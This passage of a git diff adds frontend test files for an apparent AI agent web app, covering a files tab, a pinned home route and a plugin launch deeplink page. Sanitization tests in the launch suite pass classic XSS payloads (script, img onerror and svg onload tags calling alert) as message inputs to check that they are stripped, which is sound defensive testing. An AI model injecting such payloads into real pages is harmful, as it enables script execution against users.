+    expect(screen.getByTestId("files-tab-tree")).toBeInTheDocument();
+  });
+
+  it("exposes a grippable resize handle on the tree's right edge when expanded", () => {
+    window.localStorage.clear();
+
+    renderTab();
+
+    expect(
+      screen.getByTestId("files-tab-tree-resize-handle"),
+    ).toBeInTheDocument();
+    expect(screen.getByTestId("files-tab-tree")).toHaveStyle({
+      width: "224px",
+    });
+  });
+
+  it("opens a tab from the file tree when a file is clicked", async () => {
+    const user = userEvent.setup();
+    renderTab();
+
+    await user.click(screen.getByTestId("file-tree-file-README.md"));
+
+    expect(useFilesTabStore.getState().openPaths).toContain("README.md");
+    expect(
+      screen.getByTestId("file-quick-row-item-README.md"),
+    ).toBeInTheDocument();
+  });
+
+  it("renders markdown content via MarkdownRenderer in rich mode", async () => {
+    useWorkspaceFilesMock.mockReturnValue({
+      data: ["README.md"],
+      isLoading: false,
+    });
+    useWorkspaceFileContentMock.mockReturnValue({
+      data: {
+        path: "README.md",
+        kind: "text",
+        text: "# Hello\n\nSome **bold** text",
+        staticUrl:
+          "http://localhost:3000/api/conversations/c1/workspace/README.md",
+        mimeType: "text/markdown",
+      },
+      isLoading: false,
+      isError: false,
+    });
+
+    openFile("README.md");
+    renderTab();
+
+    await waitFor(() => {
+      expect(
+        screen.getByTestId("file-content-viewer-markdown"),
+      ).toBeInTheDocument();
+    });
+
+    expect(
+      screen.getByRole("heading", { level: 1, name: "Hello" }),
+    ).toBeInTheDocument();
+    expect(screen.getByText("bold").tagName.toLowerCase()).toBe("strong");
+  });
+
+  it("shows highlighted source (not rich markdown) when toggled to plain on a .md", async () => {
+    useWorkspaceFilesMock.mockReturnValue({
+      data: ["README.md"],
+      isLoading: false,
+    });
+    useWorkspaceFileContentMock.mockReturnValue({
+      data: {
+        path: "README.md",
+        kind: "text",
+        text: "# Hello\n\nSome **bold** text",
+        staticUrl:
+          "http://localhost:3000/api/conversations/c1/workspace/README.md",
+        mimeType: "text/markdown",
+      },
+      isLoading: false,
+      isError: false,
+    });
+    const user = userEvent.setup();
+
+    openFile("README.md");
+    renderTab();
+
+    await user.click(
+      screen.getByTestId("files-tab-content-mode-toggle-option-plain"),
+    );
+
+    const highlighted = await screen.findByTestId(
+      "file-content-viewer-highlighted",
+    );
+    expect(highlighted.getAttribute("data-language")).toBe("markdown");
+    expect(
+      screen.queryByRole("heading", { level: 1, name: "Hello" }),
+    ).not.toBeInTheDocument();
+  });
+
+  it("uses the workspace fileserver URL as the iframe src for HTML files", async () => {
+    useWorkspaceFilesMock.mockReturnValue({
+      data: ["index.html"],
+      isLoading: false,
+    });
+    const staticUrl =
+      "https://agent.example.com/api/conversations/conv-1/workspace/index.html";
+    useWorkspaceFileContentMock.mockReturnValue({
+      data: {
+        path: "index.html",
+        kind: "text",
+        text: "<!doctype html><body>hi</body>",
+        staticUrl,
+        mimeType: "text/html",
+      },
+      isLoading: false,
+      isError: false,
+    });
+
+    openFile("index.html");
+    renderTab();
+
+    const iframe = await screen.findByTestId("file-content-viewer-iframe");
+    expect(iframe).toHaveAttribute("src", `${staticUrl}?v=0`);
+    expect(iframe).toHaveAttribute("sandbox", "allow-same-origin");
+  });
+
+  it("switches between rich and plain content modes", async () => {
+    useWorkspaceFilesMock.mockReturnValue({
+      data: ["src/main.ts"],
+      isLoading: false,
+    });
+    useWorkspaceFileContentMock.mockReturnValue({
+      data: {
+        path: "src/main.ts",
+        kind: "text",
+        text: "console.log('hi');",
+        staticUrl:
+          "http://localhost:3000/api/conversations/c1/workspace/src/main.ts",
+        mimeType: "text/plain",
+      },
+      isLoading: false,
+      isError: false,
+    });
+    const user = userEvent.setup();
+
+    openFile("src/main.ts");
+    renderTab();
+
+    await user.click(
+      screen.getByTestId("files-tab-content-mode-toggle-option-plain"),
+    );
+    const highlighted = await screen.findByTestId(
+      "file-content-viewer-highlighted",
+    );
+    expect(highlighted).toBeInTheDocument();
+    expect(highlighted.getAttribute("data-language")).toBe("typescript");
+  });
+
+  it("shows refresh on the file quick-row", () => {
+    openFile("index.html");
+    renderTab();
+
+    const quickRow = screen.getByTestId("file-quick-row");
+    const refresh = screen.getByTestId("files-tab-refresh");
+    expect(quickRow).toContainElement(refresh);
+    expect(refresh).toHaveAttribute("aria-label", "FILES$REFRESH");
+  });
+
+  it("persists and restores open files plus tree visibility across remount", async () => {
+    const conversationId = "persist-files-conv";
+    const user = userEvent.setup();
+    const { unmount } = renderTab(conversationId);
+
+    await user.click(screen.getByTestId("file-quick-row-tree-toggle"));
+    openFile("README.md", conversationId);
+    openFile("src/main.ts", conversationId);
+
+    await waitFor(() => {
+      const raw = localStorage.getItem(
+        `${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-${conversationId}`,
+      );
+      expect(raw).toBeTruthy();
+      const stored = JSON.parse(raw as string);
+      expect(stored.filesTabTreeVisible).toBe(false);
+      expect(stored.filesTabOpenPaths).toEqual(["README.md", "src/main.ts"]);
+      expect(stored.filesTabSelectedPath).toBe("src/main.ts");
+    });
+
+    // Simulate a full reload: empty in-memory store, remount the tab.
+    unmount();
+    useFilesTabStore.setState({
+      selectedPath: null,
+      selectedConversationId: null,
+      openPaths: [],
+    });
+    renderTab(conversationId);
+
+    await waitFor(() => {
+      expect(useFilesTabStore.getState().openPaths).toEqual([
+        "README.md",
+        "src/main.ts",
+      ]);
+    });
+    expect(screen.getByRole("tab", { selected: true })).toHaveTextContent(
+      "main.ts",
+    );
+    expect(screen.queryByTestId("files-tab-tree")).not.toBeInTheDocument();
+  });
+
+  it("hydrates open files from conversation localStorage on first mount", async () => {
+    const conversationId = "hydrate-files-conv";
+    setConversationState(conversationId, {
+      filesTabOpenPaths: ["README.md"],
+      filesTabSelectedPath: "README.md",
+      filesTabTreeVisible: true,
+    });
+
+    renderTab(conversationId);
+
+    await waitFor(() => {
+      expect(
+        screen.getByTestId("file-quick-row-item-README.md"),
+      ).toBeInTheDocument();
+    });
+    expect(screen.getByTestId("files-tab-tree")).toBeInTheDocument();
+  });
+
+  it("shows the Rich/Plain toggle only when a file is open", async () => {
+    renderTab();
+
+    expect(
+      screen.queryByTestId("files-tab-content-mode-toggle"),
+    ).not.toBeInTheDocument();
+
+    openFile("index.html");
+
+    const modeToggle = await screen.findByTestId(
+      "files-tab-content-mode-toggle",
+    );
+    const content = screen.getByTestId("files-tab-content");
+    expect(content).toContainElement(modeToggle);
+    expect(content).toContainElement(
+      screen.getByTestId("files-tab-open-in-new-window"),
+    );
+  });
+
+  describe("conversation switching", () => {
+    it("ignores a stale selection from another conversation", async () => {
+      useFilesTabStore.setState({
+        selectedPath: "demo.html",
+        selectedConversationId: "conv-a",
+        openPaths: ["demo.html"],
+      });
+      useWorkspaceFilesMock.mockReturnValue({
+        data: ["app.html"],
+        isLoading: false,
+      });
+
+      renderTab("conv-b");
+
+      await waitFor(() => {
+        expect(useWorkspaceFileContentMock).toHaveBeenCalledWith(null);
+      });
+      expect(useWorkspaceFileContentMock).not.toHaveBeenCalledWith("demo.html");
+      expect(screen.queryByRole("tab")).not.toBeInTheDocument();
+    });
+
+    it("preserves a selection that belongs to the current conversation", async () => {
+      useFilesTabStore.setState({
+        selectedPath: "report.html",
+        selectedConversationId: "conv-b",
+        openPaths: ["report.html"],
+      });
+      useWorkspaceFilesMock.mockReturnValue({
+        data: ["report.html", "app.html"],
+        isLoading: false,
+      });
+
+      renderTab("conv-b");
+
+      await waitFor(() => {
+        expect(useWorkspaceFileContentMock).toHaveBeenCalledWith("report.html");
+      });
+      expect(useFilesTabStore.getState().selectedPath).toBe("report.html");
+      expect(
+        screen.getByTestId("file-quick-row-item-report.html"),
+      ).toBeInTheDocument();
+    });
+
+    it("clears open tabs when the tab switches to a different conversation", async () => {
+      openFile("demo.html", "conv-a");
+      useWorkspaceFilesMock.mockReturnValue({
+        data: ["demo.html"],
+        isLoading: false,
+      });
+
+      const { rerender } = renderTab("conv-a");
+
+      await waitFor(() => {
+        expect(useFilesTabStore.getState().selectedPath).toBe("demo.html");
+      });
+      expect(useFilesTabStore.getState().openPaths).toEqual(["demo.html"]);
+
+      useWorkspaceFileContentMock.mockClear();
+      useWorkspaceFilesMock.mockReturnValue({
+        data: ["app.html"],
+        isLoading: false,
+      });
+      const client = new QueryClient({
+        defaultOptions: { queries: { retry: false } },
+      });
+      rerender(
+        <MemoryRouter>
+          <NavigationProvider
+            value={{
+              currentPath: "/",
+              conversationId: "conv-b",
+              isNavigating: false,
+              navigate: () => {},
+            }}
+          >
+            <QueryClientProvider client={client}>
+              <FilesTab />
+            </QueryClientProvider>
+          </NavigationProvider>
+        </MemoryRouter>,
+      );
+
+      await waitFor(() => {
+        expect(useFilesTabStore.getState().selectedPath).toBeNull();
+      });
+      expect(useFilesTabStore.getState().openPaths).toEqual([]);
+      expect(useFilesTabStore.getState().selectedConversationId).toBe("conv-b");
+      expect(useWorkspaceFileContentMock).not.toHaveBeenCalledWith("demo.html");
+    });
+  });
+});
+
+describe("useFilesTabStore open tabs", () => {
+  beforeEach(() => {
+    useFilesTabStore.setState({
+      selectedPath: null,
+      selectedConversationId: null,
+      openPaths: [],
+    });
+  });
+
+  it("appends newly opened paths and selects a neighbor on close", () => {
+    const { setSelectedPath, closeOpenPath } = useFilesTabStore.getState();
+
+    setSelectedPath("a.ts", "c1");
+    setSelectedPath("b.ts", "c1");
+    setSelectedPath("c.ts", "c1");
+    expect(useFilesTabStore.getState().openPaths).toEqual([
+      "a.ts",
+      "b.ts",
+      "c.ts",
+    ]);
+
+    closeOpenPath("b.ts");
+    expect(useFilesTabStore.getState().openPaths).toEqual(["a.ts", "c.ts"]);
+    // Closing the active middle tab selects the right neighbor.
+    expect(useFilesTabStore.getState().selectedPath).toBe("c.ts");
+
+    closeOpenPath("c.ts");
+    expect(useFilesTabStore.getState().selectedPath).toBe("a.ts");
+  });
+});
diff --git a/__tests__/routes/index-home-pinned-route.test.ts b/__tests__/routes/index-home-pinned-route.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..9bee797376c56281e3b703f357eaccf29166fb5a
--- /dev/null
+++ b/__tests__/routes/index-home-pinned-route.test.ts
@@ -0,0 +1,94 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import { getPinnedHomeRouteKey } from "#/hooks/use-pinned-home-route";
+import { clientLoader } from "#/routes/index-home";
+
+/**
+ * The automation interface manifest is withheld so the "pinned page's
+ * feature is no longer available" case is exercisable; /customize has no
+ * such gate and stays pinnable.
+ */
+vi.mock("#/manifests/manifest-sources", async (importOriginal) => {
+  const actual =
+    await importOriginal<typeof import("#/manifests/manifest-sources")>();
+  return { ...actual, AUTOMATION_INTERFACE_CANDIDATE: undefined };
+});
+
+// Only the loader is under test; keep the home screen's tree out of it.
+vi.mock("#/routes/home", () => ({ default: () => null }));
+
+const BACKEND: Backend = {
+  id: "backend-a",
+  name: "Backend A",
+  host: "http://localhost:3000",
+  apiKey: "",
+  kind: "local",
+};
+
+const PIN_KEY = getPinnedHomeRouteKey(BACKEND.id, null);
+
+describe("the index route with a pinned home page", () => {
+  beforeEach(() => {
+    window.localStorage.clear();
+    setRegisteredBackends([BACKEND]);
+    setActiveSelection({ backendId: BACKEND.id });
+  });
+
+  afterEach(() => {
+    window.localStorage.clear();
+    window.sessionStorage.clear();
+    __resetActiveStoreForTests();
+  });
+
+  it("redirects / to the pinned page of the active backend", () => {
+    // Arrange
+    window.localStorage.setItem(PIN_KEY, JSON.stringify("/customize"));
+
+    // Act
+    const result = clientLoader();
+
+    // Assert
+    expect(result).toBeInstanceOf(Response);
+    expect((result as Response).headers.get("Location")).toBe("/customize");
+  });
+
+  it("renders the default home when no pin is set", () => {
+    expect(clientLoader()).toBeNull();
+  });
+
+  it("falls back to the default home when the stored pin does not resolve, leaving the value intact", () => {
+    for (const rawValue of ['"/"', '"/nonexistent"', "not-json"]) {
+      // Arrange
+      window.localStorage.setItem(PIN_KEY, rawValue);
+
+      // Act & Assert
+      expect(clientLoader()).toBeNull();
+      expect(window.localStorage.getItem(PIN_KEY)).toBe(rawValue);
+    }
+  });
+
+  it("falls back to the default home when the pinned page's interface is absent", () => {
+    // Arrange: /automations was pinnable when set, but this deployment has
+    // no admitted automation interface manifest.
+    window.localStorage.setItem(PIN_KEY, JSON.stringify("/automations"));
+
+    // Act & Assert
+    expect(clientLoader()).toBeNull();
+  });
+
+  it("ignores a pin stored for a different backend", () => {
+    // Arrange
+    window.localStorage.setItem(
+      getPinnedHomeRouteKey("backend-b", null),
+      JSON.stringify("/customize"),
+    );
+
+    // Act & Assert
+    expect(clientLoader()).toBeNull();
+  });
+});
diff --git a/__tests__/routes/launch.test.tsx b/__tests__/routes/launch.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..150f90b96632c099336d644f2439a7cb01b5a8b8
--- /dev/null
+++ b/__tests__/routes/launch.test.tsx
@@ -0,0 +1,578 @@
+import { render, screen, waitFor } from "@testing-library/react";
+import { describe, it, expect, vi, beforeEach, afterEach } from "vitest";
+import userEvent from "@testing-library/user-event";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { MemoryRouter, Routes, Route } from "react-router";
+import LaunchRoute from "#/routes/launch";
+
+// Mock the hooks
+const mockMutateAsync = vi.fn();
+const mockNavigate = vi.fn();
+
+vi.mock("#/hooks/mutation/use-create-conversation", () => ({
+  useCreateConversation: () => ({
+    mutateAsync: mockMutateAsync,
+    isPending: false,
+  }),
+}));
+
+vi.mock("react-router", async () => {
+  const actual = await vi.importActual("react-router");
+  return {
+    ...actual,
+    useNavigate: () => mockNavigate,
+  };
+});
+
+vi.mock("#/hooks/query/use-is-authed", () => ({
+  useIsAuthed: () => ({ data: true }),
+}));
+
+vi.mock("#/hooks/query/use-config", () => ({
+  useConfig: () => ({ data: {} }),
+}));
+
+function renderLaunchRoute(searchParams: string) {
+  const queryClient = new QueryClient({
+    defaultOptions: {
+      queries: { retry: false },
+    },
+  });
+
+  return render(
+    <QueryClientProvider client={queryClient}>
+      <MemoryRouter initialEntries={[`/launch${searchParams}`]}>
+        <Routes>
+          <Route path="/launch" element={<LaunchRoute />} />
+        </Routes>
+      </MemoryRouter>
+    </QueryClientProvider>,
+  );
+}
+
+describe("LaunchRoute", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+    mockMutateAsync.mockResolvedValue({ conversation_id: "test-conv-123" });
+  });
+
+  afterEach(() => {
+    vi.resetAllMocks();
+  });
+
+  describe("Query Parameter Parsing", () => {
+    it("should parse valid base64 encoded plugins", async () => {
+      // Single plugin with parameters
+      const plugins = [
+        {
+          source: "github:owner/repo",
+          ref: "main",
+          parameters: { apiKey: "test-key", maxRetries: 3 },
+        },
+      ];
+      const encoded = btoa(JSON.stringify(plugins));
+
+      renderLaunchRoute(`?plugins=${encoded}`);
+
+      expect(screen.getByTestId("plugin-launch-modal")).toBeInTheDocument();
+      expect(screen.getByText("owner/repo")).toBeInTheDocument();
+    });
+
+    it("should parse multiple plugins from base64", async () => {
+      const plugins = [
+        { source: "github:owner/repo1", parameters: { key: "value1" } },
+        { source: "github:owner/repo2" },
+      ];
+      const encoded = btoa(JSON.stringify(plugins));
+
+      renderLaunchRoute(`?plugins=${encoded}`);
+
+      expect(screen.getByTestId("plugin-launch-modal")).toBeInTheDocument();
+      // Plugin names appear multiple times, use getAllByText
+      expect(screen.getAllByText("owner/repo1").length).toBeGreaterThan(0);
+      expect(screen.getAllByText("owner/repo2").length).toBeGreaterThan(0);
+    });
+
+    it("should show error for invalid base64 encoding", () => {
+      renderLaunchRoute("?plugins=not-valid-base64!!!");
+
+      expect(screen.getByTestId("launch-error")).toBeInTheDocument();
+      expect(screen.getByText("LAUNCH$ERROR_INVALID_FORMAT")).toBeInTheDocument();
+    });
+
+    it("should show error for invalid JSON in decoded base64", () => {
+      const invalidJson = btoa("not valid json");
+
+      renderLaunchRoute(`?plugins=${invalidJson}`);
+
+      expect(screen.getByTestId("launch-error")).toBeInTheDocument();
+      expect(screen.getByText("LAUNCH$ERROR_INVALID_FORMAT")).toBeInTheDocument();
+    });
+
+    it("should show error when decoded plugins is not an array", () => {
+      const notArray = btoa(JSON.stringify({ source: "github:owner/repo" }));
+
+      renderLaunchRoute(`?plugins=${notArray}`);
+
+      expect(screen.getByTestId("launch-error")).toBeInTheDocument();
+      expect(screen.getByText("LAUNCH$ERROR_INVALID_FORMAT")).toBeInTheDocument();
+    });
+
+    it("should show error when plugin is missing source", () => {
+      const missingSource = btoa(JSON.stringify([{ ref: "main" }]));
+
+      renderLaunchRoute(`?plugins=${missingSource}`);
+
+      expect(screen.getByTestId("launch-error")).toBeInTheDocument();
+      expect(screen.getByText("LAUNCH$ERROR_INVALID_FORMAT")).toBeInTheDocument();
+    });
+
+    it("should parse simple params format (plugin_source)", () => {
+      renderLaunchRoute("?plugin_source=github:owner/simple-repo");
+
+      expect(screen.getByTestId("plugin-launch-modal")).toBeInTheDocument();
+      // Plugin name appears multiple times, use getAllByText
+      expect(screen.getAllByText("owner/simple-repo").length).toBeGreaterThan(0);
+    });
+
+    it("should parse simple params with ref", () => {
+      renderLaunchRoute(
+        "?plugin_source=github:owner/repo&plugin_ref=v1.0.0",
+      );
+
+      expect(screen.getByTestId("plugin-launch-modal")).toBeInTheDocument();
+      // Plugin name appears multiple times, use getAllByText
+      expect(screen.getAllByText("owner/repo").length).toBeGreaterThan(0);
+    });
+
+    it("should show error when no plugins specified", () => {
+      renderLaunchRoute("");
+
+      expect(screen.getByTestId("launch-error")).toBeInTheDocument();
+      expect(screen.getByText("LAUNCH$ERROR_NO_PLUGINS")).toBeInTheDocument();
+    });
+  });
+
+  describe("Message Sanitization", () => {
+    it("should display sanitized message", () => {
+      const plugins = [{ source: "github:owner/repo" }];
+      const encoded = btoa(JSON.stringify(plugins));
+      const message = "Hello, this is a safe message";
+
+      renderLaunchRoute(`?plugins=${encoded}&message=${encodeURIComponent(message)}`);
+
+      expect(screen.getByText("Hello, this is a safe message")).toBeInTheDocument();
+    });
+
+    it("should remove script tags from message (XSS prevention)", () => {
+      const plugins = [{ source: "github:owner/repo" }];
+      const encoded = btoa(JSON.stringify(plugins));
+      const maliciousMessage = '<script>alert("xss")</script>Safe text';
+
+      renderLaunchRoute(
+        `?plugins=${encoded}&message=${encodeURIComponent(maliciousMessage)}`,
+      );
+
+      // Script tags should be stripped (text content preserved but safe as plain text)
+      expect(screen.queryByText(/<script>/)).not.toBeInTheDocument();
+      // The text content remains but is rendered as plain text, not executed
+      expect(screen.getByText('alert("xss")Safe text')).toBeInTheDocument();
+    });
+
+    it("should strip img tags with onerror handlers (XSS prevention)", () => {
+      const plugins = [{ source: "github:owner/repo" }];
+      const encoded = btoa(JSON.stringify(plugins));
+      const maliciousMessage = '<img src=x onerror=alert(1)>Safe content';
+
+      renderLaunchRoute(
+        `?plugins=${encoded}&message=${encodeURIComponent(maliciousMessage)}`,
+      );
+
+      // All HTML should be stripped, leaving only safe text
+      expect(screen.queryByText(/<img/)).not.toBeInTheDocument();
+      expect(screen.queryByText(/onerror/)).not.toBeInTheDocument();
+      expect(screen.getByText("Safe content")).toBeInTheDocument();
+    });
+
+    it("should strip svg tags with onload handlers (XSS prevention)", () => {
+      const plugins = [{ source: "github:owner/repo" }];
+      const encoded = btoa(JSON.stringify(plugins));
+      const maliciousMessage = '<svg/onload=alert(1)>Safe content';
+
+      renderLaunchRoute(
+        `?plugins=${encoded}&message=${encodeURIComponent(maliciousMessage)}`,
+      );
+
+      // All HTML should be stripped
+      expect(screen.queryByText(/<svg/)).not.toBeInTheDocument();
+      expect(screen.queryByText(/onload/)).not.toBeInTheDocument();
+      expect(screen.getByText("Safe content")).toBeInTheDocument();
+    });
+
+    it("should strip all HTML tags for plain text display", () => {
+      const plugins = [{ source: "github:owner/repo" }];
+      const encoded = btoa(JSON.stringify(plugins));
+      const htmlMessage = '<div><p>Hello</p> <b>World</b></div>';
+
+      renderLaunchRoute(
+        `?plugins=${encoded}&message=${encodeURIComponent(htmlMessage)}`,
+      );
+
+      // HTML tags should be stripped, text preserved
+      expect(screen.getByText("Hello World")).toBeInTheDocument();
+    });
+
+    it("should truncate long messages", () => {
+      const plugins = [{ source: "github:owner/repo" }];
+      const encoded = btoa(JSON.stringify(plugins));
+      const longMessage = "A".repeat(600);
+
+      renderLaunchRoute(`?plugins=${encoded}&message=${encodeURIComponent(longMessage)}`);
+
+      // Should be truncated to 500 chars
+      const displayedMessage = screen.getByText(/A{100,}/);
+      expect(displayedMessage.textContent?.length).toBeLessThanOrEqual(500);
+    });
+  });
+
+  describe("Plugin Parameter Forms", () => {
+    it("should render text input for string parameters", async () => {
+      const plugins = [
+        {
+          source: "github:owner/repo",
+          parameters: { apiKey: "initial-value" },
+        },
+      ];
+      const encoded = btoa(JSON.stringify(plugins));
+
+      renderLaunchRoute(`?plugins=${encoded}`);
+
+      const input = screen.getByTestId("plugin-0-param-apiKey");
+      expect(input).toHaveAttribute("type", "text");
+      expect(input).toHaveValue("initial-value");
+    });
+
+    it("should render number input for number parameters", () => {
+      const plugins = [
+        {
+          source: "github:owner/repo",
+          parameters: { maxRetries: 5 },
+        },
+      ];
+      const encoded = btoa(JSON.stringify(plugins));
+
+      renderLaunchRoute(`?plugins=${encoded}`);
+
+      const input = screen.getByTestId("plugin-0-param-maxRetries");
+      expect(input).toHaveAttribute("type", "number");
+      expect(input).toHaveValue(5);
+    });
+
+    it("should render checkbox for boolean parameters", () => {
+      const plugins = [
+        {
+          source: "github:owner/repo",
+          parameters: { debugMode: true },
+        },
+      ];
+      const encoded = btoa(JSON.stringify(plugins));
+
+      renderLaunchRoute(`?plugins=${encoded}`);
+
+      const checkbox = screen.getByTestId("plugin-0-param-debugMode");
+      expect(checkbox).toHaveAttribute("type", "checkbox");
+      expect(checkbox).toBeChecked();
+    });
+
+    it("should allow editing text parameter values", async () => {
+      const user = userEvent.setup();
+      const plugins = [
+        {
+          source: "github:owner/repo",
+          parameters: { apiKey: "old-value" },
+        },
+      ];
+      const encoded = btoa(JSON.stringify(plugins));
+
+      renderLaunchRoute(`?plugins=${encoded}`);
+
+      const input = screen.getByTestId("plugin-0-param-apiKey");
+      await user.clear(input);
+      await user.type(input, "new-value");
+
+      expect(input).toHaveValue("new-value");
+    });
+  });
+
+  describe("Modal UI", () => {
+    it("should display start conversation button", () => {
+      const plugins = [{ source: "github:owner/repo" }];
+      const encoded = btoa(JSON.stringify(plugins));
+
+      renderLaunchRoute(`?plugins=${encoded}`);
+
+      expect(screen.getByTestId("start-conversation-button")).toBeInTheDocument();
+    });
+
+    it("should display close button", () => {
+      const plugins = [{ source: "github:owner/repo" }];
+      const encoded = btoa(JSON.stringify(plugins));
+
+      renderLaunchRoute(`?plugins=${encoded}`);
+
+      expect(screen.getByTestId("close-button")).toBeInTheDocument();
+    });
+
+    it("should navigate home when close button clicked", async () => {
+      const user = userEvent.setup();
+      const plugins = [{ source: "github:owner/repo" }];
+      const encoded = btoa(JSON.stringify(plugins));
+
+      renderLaunchRoute(`?plugins=${encoded}`);
+
+      await user.click(screen.getByTestId("close-button"));
+
+      expect(mockNavigate).toHaveBeenCalledWith("/conversations");
+    });
+
+    it("should show plugins section for plugins without parameters", () => {
+      const plugins = [
+        { source: "github:owner/repo-without-params" },
+        { source: "github:owner/another-repo" },
+      ];
+      const encoded = btoa(JSON.stringify(plugins));
+
+      renderLaunchRoute(`?plugins=${encoded}`);
+
+      expect(screen.getByText("LAUNCH$PLUGINS")).toBeInTheDocument();
+      // Plugin names appear multiple times (title area and list), use getAllByText
+      expect(screen.getAllByText("owner/repo-without-params").length).toBeGreaterThan(0);
+      expect(screen.getAllByText("owner/another-repo").length).toBeGreaterThan(0);
+    });
+
+    it("should show additional plugins label when mixing params and no-params plugins", () => {
+      const plugins = [
+        { source: "github:owner/with-params", parameters: { key: "value" } },
+        { source: "github:owner/without-params" },
+      ];
+      const encoded = btoa(JSON.stringify(plugins));
+
+      renderLaunchRoute(`?plugins=${encoded}`);
+
+      expect(screen.getByText("LAUNCH$ADDITIONAL_PLUGINS")).toBeInTheDocument();
+    });
+  });
+
+  describe("Trust Checkbox", () => {
+    it("should display trust checkbox unchecked by default", () => {
+      const plugins = [{ source: "github:owner/repo" }];
+      const encoded = btoa(JSON.stringify(plugins));
+
+      renderLaunchRoute(`?plugins=${encoded}`);
+
+      const checkbox = screen.getByTestId("trust-checkbox");
+      expect(checkbox).toBeInTheDocument();
+      expect(checkbox).not.toBeChecked();
+    });
+
+    it("should display trust checkbox with associated label", () => {
+      const plugins = [{ source: "github:owner/repo" }];
+      const encoded = btoa(JSON.stringify(plugins));
+
+      renderLaunchRoute(`?plugins=${encoded}`);
+
+      // Check that the checkbox has a label associated with it
+      const checkbox = screen.getByTestId("trust-checkbox");
+      const label = document.querySelector('label[for="trust-checkbox"]');
+      expect(label).toBeInTheDocument();
+    });
+
+    it("should have trust checkbox label that references the translation key", () => {
+      const plugins = [
+        { source: "github:owner/repo1" },
+        { source: "github:owner/repo2" },
+      ];
+      const encoded = btoa(JSON.stringify(plugins));
+
+      renderLaunchRoute(`?plugins=${encoded}`);
+
+      // In test environment, the translation key is shown
+      const label = document.querySelector('label[for="trust-checkbox"]');
+      expect(label).toBeInTheDocument();
+      expect(label?.textContent).toContain("LAUNCH$TRUST_SKILL_CHECKBOX");
+    });
+
+    it("should disable start button when trust checkbox is unchecked", () => {
+      const plugins = [{ source: "github:owner/repo" }];
+      const encoded = btoa(JSON.stringify(plugins));
+
+      renderLaunchRoute(`?plugins=${encoded}`);
+
+      const button = screen.getByTestId("start-conversation-button");
+      expect(button).toBeDisabled();
+    });
+
+    it("should enable start button when trust checkbox is checked", async () => {
+      const user = userEvent.setup();
+      const plugins = [{ source: "github:owner/repo" }];
+      const encoded = btoa(JSON.stringify(plugins));
+
+      renderLaunchRoute(`?plugins=${encoded}`);
+
+      const checkbox = screen.getByTestId("trust-checkbox");
+      await user.click(checkbox);
+
+      const button = screen.getByTestId("start-conversation-button");
+      expect(button).not.toBeDisabled();
+    });
+  });
+
+  describe("Conversation Creation", () => {
+    it("should call createConversation with plugins when start button clicked after checking trust", async () => {
+      const user = userEvent.setup();
+      const plugins = [
+        { source: "github:owner/repo", parameters: { apiKey: "test" } },
+      ];
+      const encoded = btoa(JSON.stringify(plugins));
+
+      renderLaunchRoute(`?plugins=${encoded}`);
+
+      // First check the trust checkbox
+      await user.click(screen.getByTestId("trust-checkbox"));
+      await user.click(screen.getByTestId("start-conversation-button"));
+
+      await waitFor(() => {
+        expect(mockMutateAsync).toHaveBeenCalledWith({
+          plugins: [
+            {
+              source: "github:owner/repo",
+              ref: null,
+              repo_path: null,
+              parameters: { apiKey: "test" },
+            },
+          ],
+          query: undefined,
+          entryPoint: "launch_deeplink",
+        });
+      });
+    });
+
+    it("should call createConversation with plugins and initial message when message is provided", async () => {
+      const user = userEvent.setup();
+      const plugins = [{ source: "github:owner/repo" }];
+      const encoded = btoa(JSON.stringify(plugins));
+      const message = "/city-weather:now Tokyo";
+
+      renderLaunchRoute(`?plugins=${encoded}&message=${encodeURIComponent(message)}`);
+
+      // First check the trust checkbox
+      await user.click(screen.getByTestId("trust-checkbox"));
+      await user.click(screen.getByTestId("start-conversation-button"));
+
+      await waitFor(() => {
+        expect(mockMutateAsync).toHaveBeenCalledWith({
+          plugins: [
+            {
+              source: "github:owner/repo",
+              ref: null,
+              repo_path: null,
+              parameters: null,
+            },
+          ],
+          query: "/city-weather:now Tokyo",
+          entryPoint: "launch_deeplink",
+        });
+      });
+    });
+
+    it("should navigate to conversation after successful creation", async () => {
+      const user = userEvent.setup();
+      mockMutateAsync.mockResolvedValue({ conversation_id: "new-conv-456" });
+
+      const plugins = [{ source: "github:owner/repo" }];
+      const encoded = btoa(JSON.stringify(plugins));
+
+      renderLaunchRoute(`?plugins=${encoded}`);
+
+      // First check the trust checkbox
+      await user.click(screen.getByTestId("trust-checkbox"));
+      await user.click(screen.getByTestId("start-conversation-button"));
+
+      await waitFor(() => {
+        expect(mockNavigate).toHaveBeenCalledWith("/conversations/new-conv-456");
+      });
+    });
+
+    it("should not call createConversation when trust checkbox is not checked", async () => {
+      const user = userEvent.setup();
+      const plugins = [{ source: "github:owner/repo" }];
+      const encoded = btoa(JSON.stringify(plugins));
+
+      renderLaunchRoute(`?plugins=${encoded}`);
+
+      // Try to click without checking trust (button should be disabled)
+      const button = screen.getByTestId("start-conversation-button");
+      expect(button).toBeDisabled();
+
+      // Even attempting to click shouldn't call the mutation
+      await user.click(button);
+
+      expect(mockMutateAsync).not.toHaveBeenCalled();
+    });
+  });
+
+  describe("Error Handling", () => {
+    it("should display go home button on error", () => {
+      renderLaunchRoute("");
+
+      expect(screen.getByTestId("go-home-button")).toBeInTheDocument();
+    });
+
+    it("should navigate home when go home button clicked", async () => {
+      const user = userEvent.setup();
+
+      renderLaunchRoute("");
+
+      await user.click(screen.getByTestId("go-home-button"));
+
+      expect(mockNavigate).toHaveBeenCalledWith("/conversations");
+    });
+
+    it("should show creation failed error when API call fails", async () => {
+      const user = userEvent.setup();
+      mockMutateAsync.mockRejectedValue(new Error("API Error"));
+
+      const plugins = [{ source: "github:owner/repo" }];
+      const encoded = btoa(JSON.stringify(plugins));
+
+      renderLaunchRoute(`?plugins=${encoded}`);
+
+      // First check the trust checkbox
+      await user.click(screen.getByTestId("trust-checkbox"));
+      await user.click(screen.getByTestId("start-conversation-button"));
+
+      await waitFor(() => {
+        expect(screen.getByTestId("launch-error")).toBeInTheDocument();
